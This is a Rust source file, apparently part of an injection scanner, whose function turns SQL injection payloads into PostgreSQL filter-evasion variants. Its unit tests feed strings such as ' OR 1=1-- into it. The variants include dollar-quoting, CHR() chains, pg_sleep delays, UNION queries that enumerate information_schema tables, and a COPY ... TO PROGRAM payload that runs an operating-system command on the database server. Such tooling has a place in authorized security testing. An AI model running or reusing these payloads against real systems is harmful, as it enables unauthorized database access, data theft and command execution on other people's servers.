#[must_use]
pub fn mutate(payload: &str, max_mutations: usize) -> Vec<String> {
let mut results = Vec::new();
let lower = payload.to_ascii_lowercase();
if let Some(start) = payload.find('\'')
&& let Some(end) = payload[start + 1..].find('\'')
{
let end = start + 1 + end;
let inner = &payload[start + 1..end];
results.push(format!(
"{}$${}$${}",
&payload[..start],
inner,
&payload[end + 1..]
));
results.push(format!(
"{}$tag${}$tag${}",
&payload[..start],
inner,
&payload[end + 1..]
));
results.push(format!(
"{}$q${}$q${}",
&payload[..start],
inner,
&payload[end + 1..]
));
}
if lower.contains("char") || lower.contains("varchar") {
results.push(format!("{payload}::text"));
}
if lower.contains("sleep") {
results.push(payload.replace("SLEEP(", "pg_sleep("));
results.push(payload.replace("sleep(", "pg_sleep("));
results.push(
payload
.replace("SLEEP(", "(SELECT pg_sleep(")
.replace(')', "))"),
);
}
if lower.contains("union") {
results.push(format!("{payload} FROM generate_series(1,1)"));
}
if let Some(start) = payload.find('\'')
&& let Some(end) = payload[start + 1..].find('\'')
{
let inner = &payload[start + 1..start + 1 + end];
if !inner.is_empty() && inner.len() <= 15 {
let chr_chain: String = inner
.chars()
.map(|c| format!("CHR({})", c as u32))
.collect::<Vec<_>>()
.join("||");
results.push(format!(
"{}{}{}",
&payload[..start],
chr_chain,
&payload[start + 1 + end + 1..]
));
}
}
if results.len() < max_mutations {
results.push(format!(
"{} AND 1=ANY(ARRAY[1])--",
payload.trim_end_matches("--").trim_end_matches('#')
));
}
if lower.contains("select") && results.len() < max_mutations {
results.push(payload.replace("SELECT ", "SELECT string_agg("));
}
if results.len() < max_mutations {
let base = payload.trim_end_matches("--").trim_end_matches('#');
results.push(format!(
"{base} UNION SELECT table_name,NULL FROM information_schema.tables--"
));
}
if results.len() < max_mutations {
results.push("'; COPY (SELECT '') TO PROGRAM 'id'--".to_string());
}
if let Some(start) = payload.find('\'')
&& results.len() < max_mutations
{
let mut escaped = payload.to_string();
escaped.insert(start, 'E');
results.push(escaped);
}
results.truncate(max_mutations);
results
}
#[cfg(test)]
mod tests {
use super::*;
#[test]
fn dollar_quote_generated() {
let mutations = mutate("' OR 'a'='a'--", 50);
assert!(mutations.iter().any(|m| m.contains("$$")));
}
#[test]
fn custom_tag_dollar_quote() {
let mutations = mutate("' OR 'a'='a'--", 50);
assert!(mutations.iter().any(|m| m.contains("$q$")));
}
#[test]
fn chr_chain_generated() {
let mutations = mutate("' OR 'admin'='admin'--", 50);
assert!(mutations.iter().any(|m| m.contains("CHR(")));
}
#[test]
fn array_injection() {
let mutations = mutate("' OR 1=1--", 50);
assert!(mutations.iter().any(|m| m.contains("ANY(ARRAY")));
}
#[test]
fn e_escape_string() {
let mutations = mutate("' OR 1=1--", 50);
assert!(mutations.iter().any(|m| m.contains("E'")));
}
#[test]
fn pg_sleep_subquery() {
let mutations = mutate("SLEEP(5)", 50);
assert!(mutations.iter().any(|m| m.contains("pg_sleep")));
}
}